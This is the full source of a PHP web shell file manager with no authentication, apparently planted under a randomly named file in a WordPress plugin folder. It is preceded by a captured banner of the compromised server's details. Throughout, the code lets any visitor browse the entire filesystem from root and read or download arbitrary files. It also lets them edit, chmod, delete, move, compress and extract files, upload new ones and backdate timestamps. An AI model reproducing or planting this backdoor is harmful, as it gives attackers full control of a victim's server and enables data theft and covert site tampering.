HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux Droplet-NYC1-3 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www-data (33)
PHP: 7.4.3-4ubuntu2.29
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/apwire.net/wp-content/plugins/change-case-for-tinymce/vvjdJXXt.php
<?php
session_start();
error_reporting(0);
class F{
    private $cp,$rp,$dp;
    public function __construct(){
        $this->dp=dirname(__FILE__);
        $this->rp=(strtoupper(substr(PHP_OS,0,3))==='WIN')?substr($_SERVER['DOCUMENT_ROOT'],0,3):'/';
        $this->cp=isset($_GET['p'])?($_GET['p']==='/'?$this->rp:$this->s($_GET['p'])):$this->dp;
    }
    public function s($p){
        $p=str_replace('\\','/',$p);
        if($p==='/'||empty($p))return $this->rp;
        $f=substr($p,0,1)==='/'?$this->rp.$p:$this->cp.'/'.$p;
        return($r=realpath($f))?str_replace('\\','/',$r):$this->dp;
    }
    public function dl($p){
        $f=$this->rp.'/'.ltrim($p,'/');
        if(file_exists($f)&&is_file($f)){
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($f).'"');
            header('Content-Length: '.filesize($f));
            readfile($f);
            exit;
        }
        return false;
    }
    public function gc($p){
        try{
            $f=$this->rp.'/'.ltrim($p,'/');
            if(!($r=realpath($f))||!is_file($r)||!is_readable($r))throw new Exception("File error");
            return file_get_contents($r);
        }catch(Exception $e){
            return "Error: ".$e->getMessage();
        }
    }
    public function gt($p){
        return date('Y-m-d\TH:i',@filemtime($this->rp.'/'.ltrim($p,'/')));
    }
    public function hpc($f) {
        if (!@is_readable($f)){
            return '#FF0000';
        }elseif (!@is_writable($f)){
            return '#FFFFFF';
        }
        return '#25ff00';
    }
    public function ls(){
        try{
            if(!is_dir($this->cp))return['d'=>[],'f'=>[]];
            $i=scandir($this->cp)?:[];
            $f=$d=[];
            foreach($i as $t){
                if($t==='.'||($t==='..'&&$this->cp===$this->rp))continue;
                $p=$this->cp.'/'.$t;
                try{
                    $rp=ltrim($p,'/');
                    $o=function_exists('posix_getpwuid')?posix_getpwuid(@fileowner($p))['name']:@fileowner($p);
                    $g=function_exists('posix_getgrgid')?posix_getgrgid(@filegroup($p))['name']:@filegroup($p);
                    $n=['n'=>$t,'p'=>$rp,'s'=>is_file($p)?@filesize($p):0,'pm'=>substr(sprintf('%o',@fileperms($p)),-4),
                        'pmc' => $this->hpc($p),'m'=>date('Y-m-d H:i:s',@filemtime($p)),'o'=>$o,'g'=>$g];
                    is_dir($p)?$d[]=$n:$f[]=$n;
                }catch(Exception $e){
                    continue;
                }
            }
            return['d'=>$d,'f'=>$f];
        }catch(Exception $e){
            return['d'=>[],'f'=>[]];
        }
    }
    public function ha(){
        if(!isset($_POST['a']))return;
        switch($_POST['a']){
            case'chmod':$this->ch($_POST['p'],$_POST['m']);break;
            case'rename':$this->rn($_POST['o'],$_POST['n']);break;
            case'touch':$this->t($_POST['p'],$_POST['t']);break;
            case'edit':$this->sf($_POST['p'],$_POST['c']);break;
            case'newf':$this->cf($_POST['n']);break;
            case'newd':$this->cd($_POST['n']);break;
            case'unzip':
                $r=$this->uz($_POST['p']);
                if(!empty($_SERVER['HTTP_X_REQUESTED_WITH'])&&strtolower($_SERVER['HTTP_X_REQUESTED_WITH'])=='xmlhttprequest'){
                    header('Content-Type: application/json');
                    echo json_encode($r);
                    exit;
                }
                break;
            case 'copy':$this->copyItems($_POST['items'], $_POST['target']);break;
            case 'move':$this->moveItems($_POST['items'], $_POST['target']);break;
            case 'delete':$this->deleteItems($_POST['items']);break;
            case 'compress':$this->compressItems($_POST['items'], $_POST['zipname'].'.zip');break;
        }
    }

    private function getUniqueFileName($basePath, $originalName) {
        $directory = dirname($basePath);
        $fileName = basename($originalName);
        $extension = '';

        if (strpos($fileName, '.') !== false) {
            $extension = strrchr($fileName, '.');
            $fileName = basename($fileName, $extension);
        }

        $newPath = $basePath;
        $counter = 1;

        while (file_exists($newPath)) {
            $newPath = $directory . '/' . $fileName . $counter . $extension;
            $counter++;
        }

        return basename($newPath);
    }
    private function copyItems($items, $target) {
        $items = json_decode($items, true);
        $target = $this->s($target);

        foreach($items as $item) {
            $source = $this->rp.'/'.ltrim($item['path'],'/');
            $originalName = basename($item['path']);
            $uniqueName = $this->getUniqueFileName($target.'/'.$originalName, $originalName);
            $dest = $target.'/'.$uniqueName;

            if($item['type'] === 'dir') {
                $this->copyDir($source, $dest);
            } else {
                copy($source, $dest);
            }
        }
    }

    private function copyDir($source, $dest) {
        if(!is_dir($dest)) mkdir($dest, 0755, true);
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($source, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::SELF_FIRST
        );
        foreach($iterator as $item) {
            if($item->isDir()) {
                mkdir($dest.'/'.$iterator->getSubPathName());
            } else {
                copy($item, $dest.'/'.$iterator->getSubPathName());
            }
        }
    }

    private function moveItems($items, $target) {
        $items = json_decode($items, true);
        $target = $this->s($target);

        foreach($items as $item) {
            $source = $this->rp.'/'.ltrim($item['path'],'/');
            $originalName = basename($item['path']);
            $uniqueName = $this->getUniqueFileName($target.'/'.$originalName, $originalName);
            $dest = $target.'/'.$uniqueName;

            rename($source, $dest);
        }
    }

    private function deleteItems($items) {
        $items = json_decode($items, true);
        foreach($items as $item) {
            $path = $this->rp.'/'.ltrim($item['path'],'/');
            if($item['type'] === 'dir') {
                $this->deleteDir($path);
            } else {
                unlink($path);
            }
        }
    }

    private function deleteDir($dir) {
        if(!is_dir($dir)) return;
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::CHILD_FIRST
        );
        foreach($iterator as $file) {
            if($file->isDir()) {
                rmdir($file->getRealPath());
            } else {
                unlink($file->getRealPath());
            }
        }
        rmdir($dir);
    }

    private function compressItems($items, $zipname) {
        $items = json_decode($items, true);
        $zip = new ZipArchive();
        $zippath = $this->cp.'/'.$zipname;
        if($zip->open($zippath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
            foreach($items as $item) {
                $path = $this->rp.'/'.ltrim($item['path'],'/');
                if($item['type'] === 'dir') {
                    $this->addDirToZip($zip, $path, basename($item['path']));
                } else {
                    $zip->addFile($path, basename($item['path']));
                }
            }
            $zip->close();
        }
    }

    private function addDirToZip($zip, $path, $base) {
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::SELF_FIRST
        );
        foreach($iterator as $file) {
            if($file->isDir()) {
                $zip->addEmptyDir($base.'/'.$iterator->getSubPathName());
            } else {
                $zip->addFile($file->getRealPath(), $base.'/'.$iterator->getSubPathName());
            }
        }
    }

    private function ch($p,$m){chmod($this->rp.'/'.ltrim($p,'/'),octdec($m));}
    private function rn($o,$n){rename($this->cp.'/'.$o,$this->cp.'/'.$n);}
    private function t($p,$t){touch($this->rp.'/'.ltrim($p,'/'),strtotime($t));}
    private function sf($p,$c){
        try{
            $f=$this->rp.'/'.ltrim($p,'/');
            if(!($r=realpath($f))||!is_file($r)||!is_writable($r))throw new Exception("File write error");
            file_put_contents($r,$c);
        }catch(Exception $e){
            throw new Exception("Save error: ".$e->getMessage());
        }
    }
    private function cf($n){
        $p=$this->cp.'/'.$n;
        if(!file_exists($p))file_put_contents($p,'');
    }
    private function cd($n){
        $p=$this->cp.'/'.$n;
        if(!file_exists($p))mkdir($p);
    }
    private function uz($p){
        try{
            if(!class_exists('ZipArchive'))throw new Exception("ZIP extension not installed");
            $f=$this->rp.'/'.ltrim($p,'/');
            if(!($r=realpath($f))||strpos($r,$this->rp)!==0)throw new Exception("Invalid path");
            if(!file_exists($r)||!is_readable($r))throw new Exception("File not readable");
            $z=new ZipArchive();
            if($z->open($r)!==true)throw new Exception("Cannot open ZIP");
            $e=dirname($r);
            if(!$z->extractTo($e))throw new Exception("Extract failed");
            $z->close();
            return['s'=>true,'m'=>"Extracted successfully"];
        }catch(Exception $e){
            return['s'=>false,'m'=>"ZIP error: ".$e->getMessage()];
        }
    }
    public function gp(){return str_replace('\\','/',$this->cp);}
}
function fs($s){
    if($s==0)return'0 B';
    $b=log($s)/log(1024);
    $sx=['B','KB','MB','GB'];
    return round(pow(1024,$b-floor($b)),2).' '.$sx[floor($b)];
}
$si=['u'=>php_uname(),'ur'=>get_current_user(),'g'=>function_exists('posix_getgrgid')?posix_getgrgid(posix_getgid())['name']:'unknown',
    'p'=>phpversion(),'sm'=>ini_get('safe_mode')?'ON':'OFF','ts'=>round(disk_total_space("/")/(1024*1024*1024),2),
    'fs'=>round(disk_free_space("/")/(1024*1024*1024),2),'up'=>round((disk_free_space("/")/disk_total_space("/"))*100),'cw'=>getcwd()];
$fm=new F();
$fm->ha();
$i=$fm->ls();
$cp=$fm->gp();
if(isset($_GET['a'])){
    switch($_GET['a']){
        case'gc':echo$fm->gc($_GET['p']);exit;
        case'dl':$fm->dl($_GET['p']);exit;
        case'gt':echo$fm->gt($_GET['p']);exit;
    }
}
?>
<!DOCTYPE html><html lang="en"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,initial-scale=1">
    <title>FM</title>
    <style>
        body{background:#171717;color:#fff;font-family:monospace;margin:0;padding:0;font-size:12px}
        a{text-decoration:none}
        .si{background:#222;padding:5px;border-bottom:1px solid#333}
        .sl{margin:2px 0}
        .v{color:#fff}
        .p{color:#9f0}
        .dl{color:#09f;text-decoration:none}
        .dl:hover{text-decoration:underline}
        .act{margin-top:5px;display:flex;gap:5px}
        .t{padding:5px 10px;background:#222;border-bottom:1px solid#333}
        .b{background:#333;color:#9f0;border:none;padding:3px 8px;cursor:pointer;margin-right:5px}
        .b:hover{background:#444}
        .bp{background:#06c}
        .bu{background:#60c}
        .bn{background:#09f}
        .bd{background:#0c6}
        .ft{width:100%;border-collapse:collapse}
        .ft td,.ft th{padding:3px 5px;border:1px solid#333;text-align:left}
        .d{color:#d1b44a;text-decoration:none}
        .f{color:#fff;cursor:pointer}
        .pm{color:#9f0}
        .ca{padding:10px;background:#222;min-height:calc(100vh - 150px);display:flex;flex-direction:column}
        .ca textarea{width:100%;flex-grow:1;background:#333;color:#fff;border:1px solid#444;padding:5px;font-family:monospace;height:400px}
        .dt{background:#333;color:#fff;border:1px solid#444;padding:3px;margin-right:10px}
        .hc{font-family:monospace;white-space:pre;overflow-x:auto;color:#9f0}
        .h pre{background:#333;padding:10px;margin:0;white-space:pre-wrap}
        .vc{flex-grow:1;background:#333;padding:10px;overflow:auto;white-space:pre-wrap}
        .so{color:#9f0}
        .sf{color:red}
        .h{display:none}
        .act{white-space:nowrap}
        .al{color:#9f0;text-decoration:none;margin:0 1px;cursor:pointer}
        .al:hover{color:#fff}
        #default-actions, #selection-actions {
            margin-top: 5px;
            display: flex;
            gap: 5px;
        }
        #selection-actions {
            display: none;
        }
        .act button {
            white-space: nowrap;
        }
        .checkbox-cell {
            width: 30px;
            text-align: center;
        }
        .item-checkbox {
            cursor: pointer;
        }
        .action-menu {
            position: fixed;
            bottom: 0;
            left: 0;
            right: 0;
            background: #222;
            padding: 10px;
            display: none;
            justify-content: center;
            gap: 10px;
            border-top: 1px solid #333;
            z-index: 1000;
        }
    </style>
</head>
<body>
<div class="si">
    <div class="sl">Uname: <span class="v"><?=$si['u']?></span></div>
    <div class="sl">User: <span class="v"><?=$si['ur']?> (<?=$si['g']?>)</span>
        Php: <span class="v"><?=$si['p']?> Safe mode:<span class="<?=$si['sm']=='ON'?'so':'sf'?>"><?=$si['sm']?></span></span></div>
    <div class="sl">Hdd: <span class="v"><?=$si['ts']?> GB Free: <?=$si['fs']?> GB (<?=$si['up']?>%)</span></div>
    <div class="sl">Cwd: <span class="p"><?=$si['cw']?></span></div>
    <div class="sl">Dir: <span class="p"><?php
            $ps=explode('/',trim($cp,'/'));
            $bp='';
            echo'<a href="?p=/" class="dl">Root</a>';
            foreach($ps as $p){
                if(empty($p))continue;
                $bp.='/'.$p;
                echo' / <a href="?p='.htmlspecialchars($bp).'" class="dl">'.htmlspecialchars($p).'</a>';
            }
            echo' <a href="?p='.htmlspecialchars($si['cw']).'" class="p">[HOME]</a>';
            ?></span></div>
</div>
<div id="ta" class="t" style="display:none">
    <div id="ft"></div>
    <div id="dt" style="display:none">
        <button class="b" onclick="sc()">Chmod</button>
        <button class="b" onclick="sr()">Rename</button>
        <button class="b" onclick="st()">Touch</button>
    </div>
</div>
<div id="ca" class="ca" style="display:none"></div>
<div class="main" id="fm">
    <table class="ft">
        <tr>
            <th class="checkbox-cell"><input type="checkbox" id="select-all" onclick="toggleAll(this)"></th>
            <th>Name</th>
            <th>Size</th>
            <th>Modified</th>
            <th>Owner/Group</th>
            <th>Permissions</th>
            <th>Actions</th>
        </tr>
        <?php foreach($i['d'] as $it): ?>
            <tr>
                <td class="checkbox-cell">
                    <?php if($it['n']!=='..'): ?>
                        <input type="checkbox" class="item-checkbox" data-path="<?=$it['p']?>" data-name="<?=htmlspecialchars($it['n'])?>" data-type="dir">
                    <?php endif; ?>
                </td>
                <?php if($it['n']==='..'): ?>
                    <td><a href="?p=<?=dirname($cp)?>" class="d">[..]</a></td>
                <?php else: ?>
                    <td><a href="?p=<?=$it['p']?>" class="d">[<?=htmlspecialchars($it['n'])?>]</a></td>
                <?php endif; ?>
                <td>dir</td>
                <td><?=$it['m']?></td>
                <td><?=htmlspecialchars($it['o'])?>/<?=htmlspecialchars($it['g'])?></td>
                <td class="pm">
                    <a href="#" onclick="pa('<?=$it['p']?>','<?=htmlspecialchars($it['n'])?>','C','d','<?=$it['pm']?>','<?=$it['m']?>')" class="al" style="color:<?=$it['pmc']?>"><?=$it['pm']?></a>
                </td>
                <td>
                    <?php if($it['n']!=='..'): ?>
                        <a href="#" onclick="pa('<?=$it['p']?>','<?=htmlspecialchars($it['n'])?>','R','d','<?=$it['pm']?>','<?=$it['m']?>')" class="al">R</a>
                        <a href="#" onclick="pa('<?=$it['p']?>','<?=htmlspecialchars($it['n'])?>','T','d','<?=$it['pm']?>','<?=$it['m']?>')" class="al">T</a>
                    <?php endif; ?>
                </td>
            </tr>
        <?php endforeach; ?>
        <?php foreach($i['f'] as $it):
            $iz=strtolower(pathinfo($it['n'],PATHINFO_EXTENSION))==='zip';
            $a=$iz?'DERTX':'DERT';
            ?>
            <tr>
                <td class="checkbox-cell">
                    <input type="checkbox" class="item-checkbox" data-path="<?=$it['p']?>" data-name="<?=htmlspecialchars($it['n'])?>" data-type="file">
                </td>
                <td><a href="javascript:pa('<?=$it['p']?>','<?=htmlspecialchars($it['n'])?>','E','f','<?=$it['pm']?>','<?=$it['m']?>');" class="f"><?=htmlspecialchars($it['n'])?></a></td>
                <td><?=fs($it['s'])?></td>
                <td><?=$it['m']?></td>
                <td><?=htmlspecialchars($it['o'])?>/<?=htmlspecialchars($it['g'])?></td>
                <td class="pm">
                    <a href="#" onclick="pa('<?=$it['p']?>','<?=htmlspecialchars($it['n'])?>','C','f','<?=$it['pm']?>','<?=$it['m']?>')" class="al" style="color:<?=$it['pmc']?>"><?=$it['pm']?></a>
                </td>
                <td>
                    <?php foreach(str_split($a) as $ac): ?>
                        <a href="#" onclick="pa('<?=$it['p']?>','<?=htmlspecialchars($it['n'])?>','<?=$ac?>','<?=$it['pm']?>','<?=$it['m']?>')" class="al"><?=$ac?></a>
                    <?php endforeach; ?>
                </td>
            </tr>
        <?php endforeach; ?>
    </table>
</div>
<div style="margin-top: 10px;"></div>
<div style="width: 49%; float: left; margin-left: 1%;">
    <input type="text" class="dt" id="nr" value="<?=$cp?>" style="margin-top: 5px; width: 250px">
    <button class="b bp" onclick="location.href='?p='+document.getElementById('nr').value">→</button>
</div>
<div style="width: 49%; float: left;margin-right: 1%;">

    <div id="default-actions" >
        <button class="b bu" onclick="handleAction('upload')">⇑ Upload</button>
        <input type="file" id="fi" multiple class="h" onchange="uf(this.files)">
        <button class="b bn" onclick="handleAction('newfile')">New File</button>
        <button class="b bd" onclick="handleAction('newfolder')">New Folder</button>
    </div>
    <div id="selection-actions" style="display: none;">
        <button class="b" onclick="handleAction('copy')">Copy</button>
        <button class="b" onclick="handleAction('move')">Move</button>
        <button class="b" onclick="handleAction('delete')">Delete</button>
        <button class="b" onclick="handleAction('compress')">Compress (zip)</button>
    </div>
    <div id="operation-input" class="action-menu" style="display:none;">
        <input type="text" class="dt" id="operation-path" placeholder="Target path..." style="width: 250px;">
        <button class="b bp" id="operation-button">Go</button>
        <button class="b" onclick="cancelOperation()">Cancel</button>
    </div>
</div>
<div style="clear:both;margin-bottom: 10px;"></div>
<script>
    const state = { cf: '', cn: '', ct: '', pm: '', m: '' };
    let currentOperation = null;

    function toggleAll(source) {
        const checkboxes = document.getElementsByClassName('item-checkbox');
        for(let checkbox of checkboxes) {
            checkbox.checked = source.checked;
        }
        updateActionMenu();
    }

    function updateActionMenu() {
        const checkboxes = document.getElementsByClassName('item-checkbox');
        const selectedCount = Array.from(checkboxes).filter(cb => cb.checked).length;
        const defaultActions = document.getElementById('default-actions');
        const selectionActions = document.getElementById('selection-actions');
        const operationInput = document.getElementById('operation-input');

        if(selectedCount > 0) {
            defaultActions.style.display = 'none';
            selectionActions.style.display = 'flex';
        } else {
            defaultActions.style.display = 'flex';
            selectionActions.style.display = 'none';
            operationInput.style.display = 'none';
        }
    }

    function getSelectedItems() {
        const checkboxes = document.getElementsByClassName('item-checkbox');
        return Array.from(checkboxes)
            .filter(cb => cb.checked)
            .map(cb => ({
                path: cb.dataset.path,
                name: cb.dataset.name,
                type: cb.dataset.type
            }));
    }

    function showOperationInput(action, defaultValue = '', placeholder = 'Target path...') {
        currentOperation = action;
        const input = document.getElementById('operation-path');
        const button = document.getElementById('operation-button');

        input.value = defaultValue;
        input.placeholder = placeholder;

        document.getElementById('default-actions').style.display = 'none';
        document.getElementById('selection-actions').style.display = 'none';
        document.getElementById('operation-input').style.display = 'flex';

        button.onclick = async () => {
            const value = input.value;
            if (!value) return;

            switch(action) {
                case 'compress':
                    await sendAction('compress', getSelectedItems(), null, value);
                    break;
                case 'newfile':
                    const fdFile = new FormData();
                    fdFile.append('a', 'newf');
                    fdFile.append('n', value);
                    try {
                        await fetch(window.location.href, {method: 'POST', body: fdFile});
                        window.location.reload();
                    } catch(e) {
                        alert('Error creating file');
                    }
                    break;
                case 'newfolder':
                    const fdFolder = new FormData();
                    fdFolder.append('a', 'newd');
                    fdFolder.append('n', value);
                    try {
                        await fetch(window.location.href, {method: 'POST', body: fdFolder});
                        window.location.reload();
                    } catch(e) {
                        alert('Error creating folder');
                    }
                    break;
                default:
                    await sendAction(action, getSelectedItems(), value);
            }
        };
    }

    function cancelOperation() {
        currentOperation = null;
        document.getElementById('operation-input').style.display = 'none';
        document.getElementById('selection-actions').style.display = 'flex';
    }

    async function handleAction(action) {
        const items = getSelectedItems();

        switch(action) {
            case 'copy':
                showOperationInput('copy', '<?=$si['cw']?>', 'Target path');
                break;

            case 'move':
                showOperationInput('move', '<?=$si['cw']?>', 'Target path');
                break;

            case 'delete':
                if(confirm('Are you sure you want to delete selected items?')) {
                    await sendAction('delete', items);
                }
                break;

            case 'compress':
                showOperationInput('compress', '', 'Enter zip file name');
                break;

            case 'newfile':
                showOperationInput('newfile', '', 'Enter file name');
                break;

            case 'newfolder':
                showOperationInput('newfolder', '', 'Enter folder name');
                break;

            case 'upload':
                document.getElementById('fi').click();
                break;
        }
    }

    async function sendAction(action, items, target = null, zipname = null) {
        const fd = new FormData();
        fd.append('a', action);
        fd.append('items', JSON.stringify(items));
        if(target) fd.append('target', target);
        if(zipname) fd.append('zipname', zipname);

        try {
            await fetch(window.location.href, {
                method: 'POST',
                body: fd
            });
            window.location.reload();
        } catch(e) {
            alert('Error performing action: ' + action);
        }
    }

    function sft(p,n,pm,m){
        state.cf=p;
        state.cn=n;
        state.ct='f';
        state.pm=pm;
        state.m=m;
        const e=n.split('.').pop().toLowerCase();
        let th=`
        <button class="b" onclick="df()">Download</button>
        <button class="b" onclick="sc('h')">Hexdump</button>
        <button class="b" onclick="sc('e')">Edit</button>
        <button class="b" onclick="sc()">Chmod</button>
        <button class="b" onclick="sr()">Rename</button>
        <button class="b" onclick="st()">Touch</button>`;
        if(e==='zip')th+=`<button class="b" onclick="uz('${p}')">Extract</button>`;
        document.getElementById('ft').innerHTML=th;
        document.getElementById('ft').style.display='block';
        document.getElementById('dt').style.display='none';
        document.getElementById('ta').style.display='block';
    }

    function sdt(p,n,pm,m){
        state.cf=p;
        state.cn=n;
        state.ct='d';
        state.pm=pm;
        state.m=m;
        document.getElementById('ft').style.display='none';
        document.getElementById('dt').style.display='block';
        document.getElementById('ta').style.display='block';
        document.getElementById('ca').style.display='none';
        document.getElementById('fm').style.display='block';
    }

    async function sc(t){
        const ca=document.getElementById('ca');
        ca.style.display='block';
        document.getElementById('fm').style.display='none';
        if(t){
            try{
                const r=await fetch(`?a=gc&p=${encodeURIComponent(state.cf)}`);
                const c=await r.text();
                let h=`<div class="t"><button class="b" onclick="bl()">Back</button></div>`;
                const eh=str=>str.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;').replace(/"/g,'&quot;').replace(/'/g,'&#039;');
                switch(t){
                    case'h':h+=`<div class="hc">${hd(c)}</div>`;break;
                    case'e':h+=`<textarea id="e">${eh(c)}</textarea><div class="t"><button class="b" onclick="sf()">Save</button></div>`;lft();break;
                }
                ca.innerHTML=h;
            }catch(e){ca.innerHTML='Error loading content';}
        }else{
            ca.innerHTML=`<div class="t">
            <button class="b" onclick="bl()">Back</button>
            <input type="text" class="dt" id="cv" placeholder="0644" value="${state.pm}">
            <button class="b" onclick="cc()">Change</button>
        </div>`;
        }
    }

    function hd(s){
        const b=new TextEncoder().encode(s);
        let o='';
        for(let i=0;i<b.length;i+=16){
            const c=b.slice(i,i+16);
            const h=Array.from(c).map(b=>b.toString(16).padStart(2,'0')).join(' ');
            const a=Array.from(c).map(b=>(b>=32&&b<=126)?String.fromCharCode(b):'.').join('');
            o+=`${i.toString(16).padStart(8,'0')}  ${h.padEnd(48,' ')}  |${a}|\n`;
        }
        return o;
    }

    async function lft(){
        try{
            const r=await fetch(`?a=gt&p=${encodeURIComponent(state.cf)}`);
            document.getElementById('ft').value=await r.text();
        }catch(e){}
    }

    function sr(){
        const ca=document.getElementById('ca');
        ca.style.display='block';
        document.getElementById('fm').style.display='none';
        ca.innerHTML=`<div class="t">
        <button class="b" onclick="bl()">Back</button>
        <input type="text" class="dt" id="nn" value="${state.cn}">
        <button class="b" onclick="rn()">Rename</button>
    </div>`;
    }

    function st(){
        const ca=document.getElementById('ca');
        ca.style.display='block';
        document.getElementById('fm').style.display='none';
        ca.innerHTML=`<div class="t">
        <button class="b" onclick="bl()">Back</button>
        <input type="datetime-local" id="tt" class="dt" value="${state.m}">
        <button class="b" onclick="ti()">Change</button>
    </div>`;
        lft();
    }

    function bl(){
        document.getElementById('ca').style.display='none';
        document.getElementById('ta').style.display='none';
        document.getElementById('fm').style.display='block';
    }

    async function cc(){
        const m=document.getElementById('cv').value;
        const fd=new FormData();
        fd.append('a','chmod');
        fd.append('p',state.cf);
        fd.append('m',m);
        try{
            await fetch(window.location.href,{method:'POST',body:fd});
            window.location.reload();
        }catch(e){
            alert('Error changing permissions');
        }
    }

    async function rn(){
        const nn=document.getElementById('nn').value;
        const fd=new FormData();
        fd.append('a','rename');
        fd.append('o',state.cn);
        fd.append('n',nn);
        try{
            await fetch(window.location.href,{method:'POST',body:fd});
            window.location.reload();
        }catch(e){
            alert('Error renaming');
        }
    }

    async function ti(){
        const nt=document.getElementById('tt').value;
        const fd=new FormData();
        fd.append('a','touch');
        fd.append('p',state.cf);
        fd.append('t',nt);
        try{
            await fetch(window.location.href,{method:'POST',body:fd});
            window.location.reload();
        }catch(e){
            alert('Error changing time');
        }
    }

    async function cf(){
        const n=prompt('Filename:');
        if(!n)return;
        const fd=new FormData();
        fd.append('a','newf');
        fd.append('n',n);
        try{
            await fetch(window.location.href,{method:'POST',body:fd});
            window.location.reload();
        }catch(e){
            alert('Error creating file');
        }
    }

    async function cd(){
        const n=prompt('Folder name:');
        if(!n)return;
        const fd=new FormData();
        fd.append('a','newd');
        fd.append('n',n);
        try{
            await fetch(window.location.href,{method:'POST',body:fd});
            window.location.reload();
        }catch(e){
            alert('Error creating folder');
        }
    }

    async function uf(f){
        const fd=new FormData();
        fd.append('a','upload');
        Array.from(f).forEach(f=>fd.append('files[]',f));
        try{
            await fetch(window.location.href,{method:'POST',body:fd});
            window.location.reload();
        }catch(e){
            alert('Error uploading');
        }
    }

    function df(){
        window.location.href=`?a=dl&p=${encodeURIComponent(state.cf)}`;
    }

    async function sf(){
        const c=document.getElementById('e').value;
        const fd=new FormData();
        fd.append('a','edit');
        fd.append('p',state.cf);
        fd.append('c',c);
        try{
            await fetch(window.location.href,{method:'POST',body:fd});
            alert('Saved');
        }catch(e){
            alert('Error saving');
        }
    }
    async function uz(p){
        if(!confirm('Extract?'))return;
        const fd=new FormData();
        fd.append('a','unzip');
        fd.append('p',p);
        try{
            const r=await fetch(window.location.href,{method:'POST',body:fd});
            const rt=await r.json();
            if(rt.s)window.location.reload();
            else alert(rt.m);
        }catch(e){
            alert('Error extracting');
        }
    }
    function pa(p,n,a,t='f',pm,m){
        t==='f'?sft(p,n,pm,m):sdt(p,n,pm,m);
        switch(a){
            case'D':df();break;
            case'E':sc('e');break;
            case'C':sc();break;
            case'R':sr();break;
            case'T':st();break;
            case'X':uz(p);break;
        }
    }
    document.addEventListener('DOMContentLoaded', function() {
        const checkboxes = document.getElementsByClassName('item-checkbox');
        for(let checkbox of checkboxes) {
            checkbox.addEventListener('change', updateActionMenu);
        }
        document.getElementById('operation-path').addEventListener('keypress', function(e) {
            if (e.key === 'Enter') {
                document.getElementById('operation-button').click();
            }
        });
        document.getElementById('select-all').addEventListener('change', function() {
            updateActionMenu();
        });
    });
</script>
</body>
</html>